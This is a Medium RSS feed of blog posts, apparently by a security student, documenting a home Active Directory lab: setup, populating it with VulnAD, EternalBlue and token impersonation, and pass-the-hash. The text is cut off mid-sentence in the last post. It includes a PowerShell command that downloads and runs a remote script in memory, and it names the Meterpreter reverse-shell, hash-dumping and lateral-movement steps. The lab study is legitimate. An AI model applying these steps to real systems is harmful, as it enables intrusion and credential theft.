<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jai Bhattacharya on Medium]]></title>
        <description><![CDATA[Stories by Jai Bhattacharya on Medium]]></description>
        <link>https://medium.com/@unKnOwn37?source=rss-d9023bbefb0c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*PVc42E9ExHtHxqw1mH_PKg.png</url>
            <title>Stories by Jai Bhattacharya on Medium</title>
            <link>https://medium.com/@unKnOwn37?source=rss-d9023bbefb0c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 17:08:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@unKnOwn37/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Domain Hashes to Remote Access: Demonstrating Pass-the-Hash in an Active Directory Lab]]></title>
            <link>https://medium.com/@unKnOwn37/from-domain-hashes-to-remote-access-demonstrating-pass-the-hash-in-an-active-directory-lab-4e5816dc5542?source=rss-d9023bbefb0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/4e5816dc5542</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[windows-security]]></category>
            <dc:creator><![CDATA[Jai Bhattacharya]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 05:30:13 GMT</pubDate>
            <atom:updated>2026-06-15T05:30:13.783Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>After successfully compromising a Windows 7 workstation using EternalBlue (MS17–010) and performing token impersonation, I gained administrative access within my Active Directory lab environment.</p><p>During post-exploitation activities on the Domain Controller, I extracted NTLM password hashes from Active Directory accounts. Rather than attempting to crack these hashes, I demonstrated a technique known as Pass-the-Hash (PtH), which allows authentication using an NTLM hash directly without knowing the user’s plaintext password.</p><p>In this blog, I will demonstrate how Pass-the-Hash can be used for lateral movement and remote command execution within an Active Directory environment.</p><p><strong>Disclaimer:</strong> All activities were performed in a personal lab environment for educational and research purposes only.</p><h3>Lab Environment</h3><p>The environment consisted of:</p><ul><li>Kali Linux (Attacker Machine)</li><li>Windows 7 Client (Initial Compromise)</li><li>Windows Server 2012 R2 (Domain Controller)</li></ul><h3>Internal Network</h3><ul><li>Kali Linux → 192.168.27.30</li><li>Windows 7 Client → 192.168.27.20</li><li>Domain Controller → 192.168.27.110</li></ul><h3>Attack Path Overview</h3><p>The attack chain followed the sequence below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ufQEZwyUpchR3hP_MVkmtQ.png" /></figure><h3>Understanding Pass-the-Hash</h3><p>In real-world assessments, attackers may first attempt to crack NTLM hashes using tools such as Hashcat to recover plaintext credentials. However, if the password is strong or cracking is unsuccessful, Pass-the-Hash allows authentication using the NTLM hash directly without recovering the original password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*O6EZhxFpjyNRMg3mBRq89Q.png" /></figure><p>When NTLM hashes are obtained during post-exploitation, attackers generally have two choices: crack the hash offline to recover the plaintext password or use the hash directly through Pass-the-Hash authentication.</p><p>In many situations, Pass-the-Hash is significantly faster because successful authentication can occur without waiting for password cracking to complete. For this demonstration, I chose the Pass-the-Hash approach.</p><h3>Step 1: Verifying Administrative Context</h3><p>Before interacting with the Domain Controller, I verified that token impersonation had successfully provided administrative privileges.</p><p>The Meterpreter session confirmed that the current security context belonged to the domain administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*ijBRxfQZp9YIvsS1l27_iA.png" /></figure><p>This administrative context enabled further actions against the Domain Controller.</p><h3>Step 2: Accessing the Domain Controller</h3><p>Using the impersonated administrative token obtained from the compromised Windows 7 workstation, I was able to authenticate to the Domain Controller and establish administrative access.</p><p>After successful access, the Meterpreter session confirmed control of the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*AUZs_oJC_OEFg2ZgVcaYSw.png" /></figure><p>The output verified:</p><ul><li>Hostname: WINDC</li><li>Operating System: Windows Server 2012 R2</li><li>Domain: DCLABS</li></ul><p>At this stage, administrative access to the Domain Controller had been achieved.</p><h3>Step 3: Extracting NTLM Hashes</h3><p>With elevated privileges on the Domain Controller, I extracted account hashes using Meterpreter’s hashdump functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*5j2fKhmsC4aXQqSXTSQ2qA.png" /></figure><p>At this stage, an attacker could attempt to crack the extracted NTLM hashes using tools such as Hashcat or John the Ripper. However, password recovery is not always necessary. If NTLM authentication is enabled, the hash itself can often be used directly through a Pass-the-Hash attack.</p><p>The output contained:</p><ul><li>Domain Administrator account hashes</li><li>Service account hashes</li><li>Domain user account hashes</li><li>Machine account hashes</li></ul><p>These hashes represent credential material that could potentially be abused for further access.</p><p>For security reasons, sensitive hash values should be redacted when publishing screenshots.</p><h3>Step 4: Performing Pass-the-Hash Authentication</h3><p>Rather than attempting to crack the Administrator password, I used the extracted NTLM hash directly for authentication.</p><p>CrackMapExec was used to authenticate to the Domain Controller using the Administrator account hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zPHKNwKBKfZvU2mHAAfsQw.png" /></figure><p>The output returned:</p><p>“Pwn3d!”</p><p>This indicates that the authentication succeeded and that administrative access was granted using only the NTLM hash.</p><p>No plaintext password was required.</p><h3>Step 5: Remote Command Execution</h3><p>After successful authentication, I executed commands remotely against the Domain Controller.</p><p>A simple whoami command was used to verify execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oFoI2GqbxU5NxiWW05m7rA.png" /></figure><p>The response returned:</p><blockquote><strong><em>dclabs\administrator</em></strong></blockquote><p>confirming that commands were being executed successfully on the Domain Controller.</p><p>Additional verification was performed using the ipconfig command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iqURXDjBQAjmmL_dM9wBZw.png" /></figure><p>The results confirmed successful remote command execution through Pass-the-Hash authentication.</p><h3>Security Impact</h3><p>Pass-the-Hash demonstrates why credential theft can be extremely dangerous in Active Directory environments.</p><p>Even when attackers do not know the actual password, possession of an NTLM hash may be sufficient to:</p><ul><li>Authenticate to systems</li><li>Execute commands remotely</li><li>Move laterally through the network</li><li>Access administrative resources</li><li>Expand control across the domain</li></ul><p>This highlights the importance of protecting credential material stored in memory and on Domain Controllers.</p><h3>Mitigation Strategies</h3><p>Organizations can reduce the risk of Pass-the-Hash attacks by:</p><ul><li>Applying Microsoft’s latest security updates</li><li>Restricting administrative privileges</li><li>Implementing Credential Guard</li><li>Disabling NTLM where possible</li><li>Enforcing strong password policies</li><li>Using multi-factor authentication</li><li>Monitoring suspicious authentication activity</li><li>Limiting administrative account usage</li></ul><p>Reducing the exposure of privileged credentials significantly lowers the effectiveness of Pass-the-Hash attacks.</p><h3>Key Takeaways</h3><p>This exercise demonstrated several important Active Directory security concepts:</p><ul><li>Initial access can lead to credential compromise.</li><li>NTLM hashes may provide access without password cracking.</li><li>Pass-the-Hash enables efficient lateral movement.</li><li>Administrative credentials represent a high-value target.</li><li>Domain Controllers require additional protection because of the sensitive credentials they contain.</li></ul><h3>Conclusion</h3><p>Pass-the-Hash remains one of the most widely abused credential theft techniques in Windows environments. This exercise demonstrated how an initial workstation compromise can ultimately lead to Domain Controller access, credential extraction, and authenticated remote command execution without ever recovering the Administrator account’s plaintext password.</p><p>This exercise demonstrated how credential theft can quickly transform an initial compromise into broader access across an Active Directory environment.</p><p>In the next blog of this series, I will explore Kerberoasting and demonstrate how service accounts can be targeted through Kerberos ticket requests and offline password cracking.</p><p>Thank you for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e5816dc5542" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Realistic Active Directory Environment with VulnAD]]></title>
            <link>https://medium.com/@unKnOwn37/building-a-realistic-active-directory-environment-with-vulnad-39f3539869f7?source=rss-d9023bbefb0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/39f3539869f7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Jai Bhattacharya]]></dc:creator>
            <pubDate>Mon, 08 Jun 2026 09:36:17 GMT</pubDate>
            <atom:updated>2026-06-08T09:36:17.527Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>After successfully building my Active Directory lab environment, I noticed that the domain did not accurately represent a real-world enterprise network.</p><p>A newly installed Active Directory environment typically contains very few users, groups, and service accounts. While this is sufficient for learning basic administration tasks, it limits the ability to practice realistic attack techniques such as BloodHound enumeration, Kerberoasting, privilege escalation, and attack path analysis.</p><p>To overcome this limitation, I used VulnAD, a PowerShell-based framework designed to quickly populate Active Directory environments with users, groups, and intentionally vulnerable configurations for educational purposes.</p><p>In this blog, I will demonstrate how I transformed a clean Active Directory deployment into a more realistic enterprise-like environment using VulnAD.</p><p><strong>Disclaimer:</strong> All activities were performed within a personal lab environment for educational and research purposes only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tBjnPmExkvJTxL9VlVpagg.png" /></figure><h3>Lab Environment</h3><p>The lab environment consisted of:</p><p>• Windows Server 2012 R2 — Domain Controller (phdlabs.com)<br>• Windows 7 — Domain-Joined Client<br>• Kali Linux — Attacker Machine</p><p>Domain Name:</p><pre>phdlabs.com</pre><p>At this stage, the domain was fully operational but contained very few Active Directory objects.</p><h3>Why Populate Active Directory?</h3><p>In real enterprise environments, domains often contain:</p><ul><li>Hundreds of user accounts</li><li>Service accounts</li><li>Administrative groups</li><li>Organizational Units (OUs)</li><li>Delegated permissions</li><li>Complex trust relationships</li></ul><p>A clean Active Directory installation lacks these characteristics, making many security assessments unrealistic.</p><p>Without a populated environment:</p><ul><li>BloodHound produces limited attack paths.</li><li>Kerberoasting opportunities are unavailable.</li><li>User enumeration becomes less meaningful.</li><li>Privilege escalation scenarios are difficult to simulate.</li></ul><p>To address these challenges, I decided to automate the process using VulnAD.</p><h3>What is VulnAD?</h3><p>VulnAD is an open-source PowerShell framework designed to create vulnerable Active Directory environments for training and research. VulnAD was developed by WazeHell (SafeBuffer) and is widely used by security enthusiasts and students to build realistic Active Directory lab environments for training purposes.</p><p>The framework can automatically:</p><ul><li>Generate domain users</li><li>Create Active Directory objects</li><li>Simulate enterprise environments</li><li>Introduce common Active Directory weaknesses</li><li>Create realistic attack paths for learning purposes</li></ul><p>This makes it particularly useful for Active Directory security research and red team training labs.</p><h3>Attack Preparation Flow</h3><pre>Fresh Active Directory Installation<br>                ↓<br>Minimal Users and Objects<br>                ↓<br>Limited Attack Paths<br>                ↓<br>Deploy VulnAD<br>                ↓<br>Generate Users and Objects<br>                ↓<br>Enterprise-Like Environment<br>                ↓<br>BloodHound, Kerberoasting &amp; AD Attacks</pre><h3>Step 1: Configuring TLS 1.2</h3><p>Before downloading the VulnAD framework from GitHub, PowerShell was configured to use TLS 1.2.</p><pre>[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12</pre><p>This ensured that PowerShell could establish a secure connection to GitHub and successfully retrieve the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*JAae6YPrzMXQplogRA9Mfg.png" /></figure><h3>Step 2: Downloading and Executing VulnAD</h3><p>Next, the VulnAD framework was downloaded directly from GitHub and executed in memory.</p><pre>IEX((new-object net.webclient).downloadstring(&quot;https://raw.githubusercontent.com/wazehell/vulnerable-AD/master/vulnad.ps1&quot;));</pre><p>This command retrieves the PowerShell script from GitHub and immediately executes it without requiring a manual download.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*NQ80CbPMmUiF4pjc4dp70Q.png" /></figure><h3>Step 3: Generating Domain Users</h3><p>After loading the framework, I executed the following command:</p><pre>Invoke-VulnAD -UsersLimit 100 -DomainName &quot;phdlabs.com&quot;</pre><p>This instructed VulnAD to automatically generate approximately 100 users within the Active Directory environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*P0veLux2qW3LqQm8cGk0wA.png" /></figure><p>The process completed within a few moments and significantly expanded the size of the domain.</p><p>Instead of manually creating users one by one through Active Directory Users and Computers (ADUC), VulnAD automated the entire process.</p><h3>Step 4: Verifying User Creation</h3><p>After the script finished executing, I verified the newly created users through Active Directory Users and Computers (ADUC).</p><p>The domain now contained a large collection of user accounts, providing a much more realistic environment for future security assessments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*RoJH14tnkcB13ym_i9ecAw.png" /></figure><p>This environment more closely resembles the type of Active Directory deployment commonly encountered during enterprise security assessments.</p><h3>Preparing Future Attack Scenarios</h3><p>One of the primary goals of populating the environment was to support future Active Directory attack simulations.</p><p>A realistic user base enables security professionals to practice:</p><h3>Active Directory Enumeration</h3><p>Tools and techniques such as:</p><ul><li>LDAP Enumeration</li><li>SMB Enumeration</li><li>User Discovery</li><li>Share Enumeration</li></ul><p>become more valuable when a domain contains realistic users and groups.</p><h3>BloodHound Analysis</h3><p>BloodHound relies on relationships between users, groups, and permissions.</p><p>A populated Active Directory environment produces more meaningful attack paths and privilege escalation opportunities.</p><p>In addition to creating users, I also prepared the environment for future Active Directory attack simulations by configuring a Service Principal Name (SPN) for a service account.</p><h3>Kerberoasting</h3><p>To prepare for future Kerberoasting demonstrations, a Service Principal Name (SPN) was configured using:</p><pre>setspn -s http/windows-server.phdlabs.com:80 dccoadmin</pre><p>This associates a service with the account:</p><pre>dccoadmin</pre><p>and creates a Kerberoastable target for future testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*Gn43PYoLrGnbRRUOkNDYqA.png" /></figure><h3>Benefits of Using VulnAD</h3><p>Some benefits I observed include:</p><ul><li>Faster lab deployment</li><li>Realistic user populations</li><li>Improved BloodHound results</li><li>Better attack path analysis</li><li>Reduced manual configuration effort</li><li>More practical Active Directory testing scenarios</li></ul><p>Rather than spending hours manually creating users and groups, the environment was populated automatically using PowerShell.</p><h3>Key Takeaways</h3><p>This exercise demonstrated how important a realistic Active Directory environment is for security research and hands-on learning.</p><p>Some key lessons learned include:</p><ul><li>A clean Active Directory installation is often insufficient for realistic attack simulations.</li><li>Automation can dramatically reduce lab setup time.</li><li>User population improves Active Directory enumeration exercises.</li><li>Service accounts and SPNs are important components of many Active Directory attack techniques.</li><li>Proper lab preparation significantly improves the quality of future security testing exercises.</li></ul><h3>Conclusion</h3><p>Building an Active Directory lab is only the first step toward understanding enterprise security environments.</p><p>To effectively practice modern Active Directory attack techniques, the environment must contain realistic users, groups, permissions, and service accounts.</p><p>Using VulnAD allowed me to transform a clean Active Directory deployment into a realistic enterprise-style environment containing users, service accounts, and attack paths that can be leveraged for future Active Directory security assessments and attack simulations.</p><p>In the next part of this series, I will explore Kerberoasting and demonstrate how service accounts can be targeted through Kerberos ticket requests and offline password cracking.</p><p>Thank you for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39f3539869f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From EternalBlue to Domain Controller: Token Impersonation in an Active Directory Lab]]></title>
            <link>https://medium.com/@unKnOwn37/from-eternalblue-to-domain-controller-token-impersonation-in-an-active-directory-lab-71e27e08ec03?source=rss-d9023bbefb0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/71e27e08ec03</guid>
            <dc:creator><![CDATA[Jai Bhattacharya]]></dc:creator>
            <pubDate>Mon, 01 Jun 2026 06:06:10 GMT</pubDate>
            <atom:updated>2026-06-01T06:06:10.699Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>After building a local Active Directory lab environment in my previous blog, I wanted to understand how an attacker could move from a compromised workstation to a Domain Controller within a Windows domain.</p><p>To explore this concept, I used a controlled lab consisting of:</p><ul><li>Kali Linux (Attacker Machine)</li><li>Windows 7 (Domain Client)</li><li>Windows Server 2012 R2 (Domain Controller)</li></ul><p>The objective of this exercise was to understand:</p><ul><li>Initial Access</li><li>SYSTEM-Level Access</li><li>Token Enumeration</li><li>Token Impersonation</li><li>Lateral Movement</li><li>Domain Controller Compromise</li></ul><p><strong>Disclaimer:</strong> All testing was performed in a personal lab environment for educational purposes only.</p><h3>Lab Architecture</h3><p>The lab consisted of three virtual machines connected through an internal network.</p><p>Kali Linux acted as the attacker machine.</p><p>Windows 7 was joined to the Active Directory domain and represented a vulnerable workstation.</p><p>Windows Server 2012 R2 functioned as the Domain Controller and managed authentication for the environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*q4zGn6ca3vcL-JUfTxAeqg.png" /></figure><h3>Step 1: Identifying a Vulnerable Host</h3><p>The Windows 7 client was intentionally left vulnerable to MS17–010 (EternalBlue).</p><p>Before exploitation, the EternalBlue module automatically performed a vulnerability check against the target. The results confirmed that the Windows 7 host was vulnerable to MS17–010 and suitable for exploitation.</p><p>The output showed:</p><p>• Host is likely VULNERABLE to MS17–010<br>• The target is vulnerable</p><p>This provided confidence that the target could be safely tested within the lab environment.</p><h3>Step 2: Exploiting Windows 7 with EternalBlue</h3><p>After confirming the vulnerability, I configured the EternalBlue Metasploit module and set the appropriate payload.</p><p>Target Information:</p><ul><li>Target IP: 192.168.27.20</li><li>Service: SMB (Port 445)</li><li>Payload: windows/x64/meterpreter/reverse_tcp</li></ul><p>Once executed, the exploit successfully established a Meterpreter session on the Windows 7 machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*JM-blns2gm3GRBGx6271zw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*GMXduzlU0uEL_pbeKOqgVg.png" /></figure><h3>Step 3: Verifying Initial Access</h3><p>After obtaining a Meterpreter session, I collected basic information about the compromised host.</p><p>The system was identified as:</p><ul><li>Windows 7 Professional SP1</li><li>x64 Architecture</li><li>Member of the DCLABS Domain</li></ul><p>This confirmed that the compromised workstation was connected to the Active Directory environment.</p><h3>Step 4: Validating SYSTEM-Level Access</h3><p>The Meterpreter session was running with SYSTEM-level privileges.</p><p>SYSTEM is the highest local privilege level available on a Windows machine and provides extensive control over the compromised host.</p><p>However, having SYSTEM access on a workstation does not automatically provide administrative access to the Domain Controller.</p><p>To move further within the environment, additional credentials or security tokens are required.</p><p>Before enumerating available tokens, I loaded the Kiwi extension within Meterpreter.</p><p>Kiwi is a Meterpreter extension based on the well-known Mimikatz project and provides functionality related to credential access, token manipulation, Kerberos ticket inspection, and security token enumeration.</p><p>In a post-exploitation scenario, Kiwi can help security professionals understand what authentication artifacts are available on a compromised system and how privileged accounts may have interacted with the host.</p><p>For this lab, Kiwi was primarily used to enumerate available tokens and inspect authentication-related information on the compromised Windows 7 machine.</p><h3>Step 5: Enumerating Available Tokens</h3><p>Next, I loaded the Kiwi and Incognito functionality within Meterpreter to inspect available tokens on the system.</p><p><em>Token impersonation</em> is a technique that allows an attacker to temporarily assume the identity of another authenticated user whose token exists in memory.</p><p>While enumerating available delegation tokens, I discovered a highly privileged token:</p><p>DCLABS\administrator</p><p>The presence of a Domain Administrator token indicated that a privileged user had previously authenticated to the workstation, making token impersonation a viable attack path.</p><p>This finding represented a potential path for lateral movement within the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*aGRL1iYyV8lzvQZ8x1nK2g.png" /></figure><h3>Step 6: Token Impersonation</h3><p>Using Meterpreter’s token impersonation capability, I impersonated the Domain Administrator token.</p><p>After successful impersonation, the current session began operating under the security context of the Domain Administrator account.</p><p>This effectively elevated the attacker’s domain-level privileges without requiring knowledge of the administrator’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*ijBRxfQZp9YIvsS1l27_iA.png" /></figure><h3>Step 7: Lateral Movement to the Domain Controller</h3><p>With a Domain Administrator token available, I used Metasploit’s current_user_psexec module to move laterally from the compromised workstation to the Domain Controller.</p><p>The module created a service on the target system and executed a payload under the context of the impersonated administrator account.</p><p>A new Meterpreter session was successfully established on the Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*UX8_D9Y7HvtGQhB8hFAAlQ.png" /></figure><h3>Step 8: Domain Controller Compromise</h3><p>After connecting to the Domain Controller, I verified access using standard system commands.</p><p>The new session was running as:</p><p>NT AUTHORITY\SYSTEM</p><p>on the Domain Controller.</p><p>This demonstrated a complete attack path from:</p><p>Vulnerable Workstation</p><p>↓</p><p>Initial Access</p><p>↓</p><p>SYSTEM Privileges</p><p>↓</p><p>Token Discovery</p><p>↓</p><p>Domain Administrator Impersonation</p><p>↓</p><p>Lateral Movement</p><p>↓</p><p>Domain Controller Compromise</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*ulA-CkGSKnAAaQeRyK-6gA.png" /></figure><h4>What Made This Attack Possible?</h4><p>This attack chain was successful because:</p><p>• The Windows 7 workstation was vulnerable to MS17–010.<br>• A privileged Domain Administrator had authenticated to the workstation.<br>• A valid administrator token remained available on the compromised host.<br>• The impersonated account possessed sufficient privileges to access the Domain Controller.</p><p>This demonstrates how a combination of unpatched systems and privileged account exposure can significantly increase the impact of a workstation compromise.</p><h3>Key Takeaways</h3><p>This lab demonstrated how compromising a single vulnerable workstation can potentially lead to compromise of critical domain infrastructure when privileged tokens are available on the system.</p><p>Some important lessons learned include:</p><ul><li>Unpatched systems remain high-value targets.</li><li>Administrative tokens present on workstations can introduce significant risk.</li><li>Token impersonation can be used to inherit the privileges of authenticated users.</li><li>Lateral movement often relies on legitimate administrative mechanisms.</li><li>Domain Controllers should be protected from unnecessary administrator logins.</li></ul><h3>Conclusion</h3><p>This exercise helped me better understand how attackers can chain together multiple techniques to move from a compromised workstation to a Domain Controller inside an Active Directory environment.</p><p>Although EternalBlue provided the initial foothold, the most significant takeaway from this exercise was understanding how privileged authentication tokens on a workstation can enable lateral movement and ultimately lead to Domain Controller compromise.</p><p>In future labs, I plan to explore additional Active Directory attack techniques such as:</p><ul><li>BloodHound Enumeration</li><li>Kerberoasting</li><li>Credential Attacks</li></ul><p>Thank you for reading.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*asNMhSuKSruX43lYxrTvCA.gif" /><figcaption>See you soon</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71e27e08ec03" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Local Active Directory Lab for Security Testing Using VirtualBox]]></title>
            <link>https://medium.com/@unKnOwn37/building-a-local-active-directory-lab-for-security-testing-using-virtualbox-0035740bd3ab?source=rss-d9023bbefb0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/0035740bd3ab</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[labs]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[ads]]></category>
            <dc:creator><![CDATA[Jai Bhattacharya]]></dc:creator>
            <pubDate>Thu, 28 May 2026 15:33:56 GMT</pubDate>
            <atom:updated>2026-05-28T15:33:56.884Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*za1yy68gCF1SNndrlZeaPg.gif" /></figure><h3>Introduction</h3><p>Active Directory (AD) environments are widely used across enterprise networks, making them one of the most common targets during internal penetration tests and red team assessments. Learning how Active Directory works is essential for understanding authentication, user management, privilege separation, lateral movement, and common attack paths used in real-world environments.</p><p>To better understand AD infrastructure and offensive security concepts, I decided to build a small local lab using:</p><ul><li>Windows Server 2012 R2 (Domain Controller)</li><li>Windows 7 (Client Machine)</li><li>Kali Linux (Attacker Machine)</li><li>VirtualBox as the hypervisor</li></ul><p>The goal of this lab was not just to install Windows machines, but to build a controlled Active Directory environment for learning enterprise networking, authentication, and offensive security concepts.</p><p>At this stage, the lab is being used to understand:</p><ul><li>Active Directory setup and configuration</li><li>Domain communication and DNS dependencies</li><li>Client-to-domain connectivity</li></ul><p>As the lab evolves, future exercises will include:</p><ul><li>SMB enumeration</li><li>Token Impersonation</li><li>Active Directory reconnaissance</li><li>BloodHound analysis</li><li>Privilege escalation</li><li>Lateral movement simulations</li></ul><p>In this blog, I’ll walk through the complete setup process of creating the AD environment and connecting a Windows 7 client machine to the domain.</p><h3>Lab Architecture</h3><p>The lab consists of three virtual machines running inside VirtualBox.</p><pre>                    [ NAT Network ]<br>                           |<br>         --------------------------------<br>         |                              |<br>   Kali Linux                    Windows Server 2012 R2<br>   NAT: 10.0.3.x                 NAT: 10.0.3.x<br>         |                              |<br>---------------------------------------------------------<br>|                    Internal Network                   |<br>---------------------------------------------------------<br>         |                     |                    |<br>   Kali Linux             Windows 7              Domain Controller<br>   192.168.27.30          192.168.27.20         192.168.27.110</pre><pre>| Machine                | Purpose                                           |<br>| ---------------------- | ------------------------------------------------- |<br>| Kali Linux             | Attacker machine used for enumeration and testing |<br>| Windows 7              | Client machine joined to the domain               |<br>| Windows Server 2012 R2 | Active Directory Domain Controller                |</pre><h3>Setting Up the Virtual Machines</h3><p>For virtualization, I used:<br> <a href="https://www.virtualbox.org/?utm_source=chatgpt.com">VirtualBox</a></p><p>You can use VMware as well, but VirtualBox is lightweight and works well for beginner AD labs.</p><p>I also recommend creating VM snapshots after major configuration stages to simplify recovery and rollback during future experimentation.</p><h3>Downloading the Required ISOs</h3><h4>Windows 7 ISO</h4><p><a href="https://archive.org/details/windows-7-home-basic-premium-sp1-en?utm_source=chatgpt.com">Windows 7 SP1 ISO Archive</a> (Link)</p><h4>Windows Server 2012 R2 ISO</h4><p><a href="https://www.microsoft.com/en-us/evalcenter/download-windows-server-2012-r2?msockid=2b3583bc09ba6d2a35f3975e08486ced&amp;utm_source=chatgpt.com">Windows Server 2012 R2 Evaluation</a> (Link)</p><h3>Creating the Virtual Machines</h3><p>Inside VirtualBox, I created three separate virtual machines for the lab environment:</p><ul><li>Kali Linux (Attacker Machine)</li><li>Windows 7 (Client Machine)</li><li>Windows Server 2012 R2 (Domain Controller)</li></ul><p>The hardware allocation for each machine depends on your host system resources. In my setup, I allocated:</p><ul><li>2 processors for each VM</li><li>3–4 GB RAM depending on the machine role</li><li>50–80 GB virtual storage</li></ul><h4>Kali Linux Configuration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*ibbD7XuDvt_56gO17wF5qA.png" /></figure><p>Kali Linux was configured as the attacker machine used for enumeration, post-exploitation practice, and Active Directory testing.</p><p>The machine was configured with:</p><ul><li>Internal Network (intnet)</li><li>NAT Adapter</li></ul><p>The Internal Network adapter allows communication with the AD lab environment, while the NAT adapter provides internet access for downloading tools and updating packages.</p><p>This dual-adapter setup helps simulate a more practical attacker environment.</p><h3>Why Internal Network Was Used</h3><p>The Internal Network (intnet) adapter in VirtualBox was used to allow communication between the lab machines while keeping the environment isolated from the host network.</p><p>This setup helps simulate an internal enterprise network where:</p><ul><li>the Domain Controller</li><li>client workstation</li><li>attacker machine</li></ul><p>can communicate with each other directly.</p><p>Using an isolated internal network also reduces the risk of unintentionally exposing vulnerable lab systems to the local network or internet.</p><h3>Why NAT Was Added</h3><p>NAT adapters were configured on the Kali Linux and Domain Controller systems to provide internet connectivity for:</p><ul><li>downloading updates</li><li>installing packages</li><li>transferring tools</li></ul><p>At the same time, the Internal Network adapter maintains isolated communication inside the lab environment.</p><p>This dual-adapter setup separates:</p><ul><li>internal lab traffic</li><li>external internet access</li></ul><p>which better reflects real-world segmented environments.</p><h4>Windows 7 Client Configuration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*GLGhxZToSlxc1C1YT3UzvA.png" /></figure><p>The Windows 7 machine was configured as the domain client system.</p><p>This machine was connected only to the Internal Network (intnet) to simulate a workstation operating inside an isolated enterprise network.</p><p>The client machine would later be joined to the Active Directory domain hosted by the Windows Server machine.</p><h4>Windows Server 2012 R2 Configuration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*QjCEXe3o0E6LZPV2WH6wrA.png" /></figure><p>Windows Server 2012 R2 was configured as the Domain Controller for the lab environment.</p><p>The server machine was configured with:</p><ul><li>Internal Network (intnet)</li><li>NAT Adapter</li></ul><p>The Internal Network adapter allows communication with the client systems, while the NAT adapter provides internet connectivity when required.</p><p>This machine would later host:</p><ul><li>Active Directory Domain Services (AD DS)</li><li>DNS services</li><li>Domain authentication</li></ul><h4>Important Installation Tip</h4><p>While creating the Windows virtual machines in VirtualBox, I avoided unattended installation to keep the setup process manual.</p><p>This allows better control over:</p><ul><li>partition selection</li><li>installation editions</li><li>administrator credentials</li><li>networking setup</li><li>system configuration</li></ul><p>Using the manual installation process also helps beginners understand the Windows deployment workflow more clearly during lab creation.</p><h3>Installing Windows Server 2012 R2</h3><p>Boot the Windows Server 2012 R2 machine using the downloaded ISO.</p><p>During installation:</p><p>Select the <strong>Windows Server 2012 R2 Datacenter Evaluation (GUI)</strong> version.</p><ul><li>Complete the installation process.</li><li>Configure a password for the Administrator account after setup.</li></ul><p>Use a password you can remember easily or maintain VM snapshots during the setup process to avoid rebuilding the lab if credentials are lost.</p><p>The installation time depends on your system resources and hardware configuration.</p><h3>Configuring Network 